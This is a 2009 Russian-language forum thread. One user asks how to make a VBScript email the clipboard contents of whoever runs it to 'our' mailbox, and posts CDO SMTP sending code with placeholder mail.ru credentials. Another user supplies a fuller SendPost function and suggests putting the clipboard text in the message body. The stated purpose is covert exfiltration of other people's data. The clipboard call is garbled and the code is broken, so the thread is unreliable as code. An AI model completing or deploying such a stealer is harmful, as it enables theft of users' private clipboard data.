VBS for lamers => how to? |
14.10.2009, 04:46
|
|
Участник форума
Регистрация: 05.02.2009
Сообщений: 133
С нами:
9084779
Репутация:
86
|
|
VBS for lamers => how to?
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","ТВОЙ MAIL","ТВОЙ MAIL","ТЕМА","ТЕКСТ")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="ТУТ ВВОДИТЬ СВОЙ НИК НА WWW.MAIL.RU"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="ТУТ ПАРОЛЬ ОТ АККА"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
я так понел, этот кусок кода поможет отправеть к нам на мыло нужные данные.
Как бэ реализовать отправку на мыло содержимое буфера обмена. Причом не чего попало, а тока те что быле переданы методом GetText.
Я так понел первоночально нужно : Text = Clipboard.Q«tT«xt([format]), но неношол в нете инфы по отправке этого дела на майл в текстовом виде.. кто падскажет?
|
|
|
14.10.2009, 05:33
|
|
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
С нами:
11010660
Репутация:
439
|
|
ну походу так
strBody = Clipboard.Q«tT«xt([format])
если я всё правильно понял
|
|
|
|
14.10.2009, 05:47
|
|
Участник форума
Регистрация: 05.02.2009
Сообщений: 133
С нами:
9084779
Репутация:
86
|
|
А потом strBody на мыло? чо та не догоняю..чо та не робототет так.. хз..
|
|
|
|
14.10.2009, 06:02
|
|
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
С нами:
11010660
Репутация:
439
|
|
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject, strBody)
strBody - переменная содержащая тело письма.
я не увлекаюсь VBS, просто догадка, чисто логически.
хз чегоне работает. а Clipboard.Q«tT«xt([format]) что-то адекватное вообще выдаёт?
ах да. если взять полный код для отправки
Код:
Call SendPost("mail", "mail@mail.ru", "mail@mail.ru", "tema", Body)
Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody)
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = strSMTP_Server
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 10
Flds.Update
iMsg.Configuration = iConf
iMsg.To = strTo
iMsg.From = strFrom
iMsg.Subject = strSubject
iMsg.TextBody = strBody
iMsg.Send
End Function
то переменная для текста будет Body, следовательно Body = Clipboard.Q«tT«xt([format]) |
|
|
|
14.10.2009, 06:32
|
|
Участник форума
Регистрация: 05.02.2009
Сообщений: 133
С нами:
9084779
Репутация:
86
|
|
спасибо , сейчас покумекаю... хотя колы уже нет и на часах 8.31 
----------------
Вобщем не понимаю.. кто знает?
Последний раз редактировалось Jes; 14.10.2009 в 11:23..
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
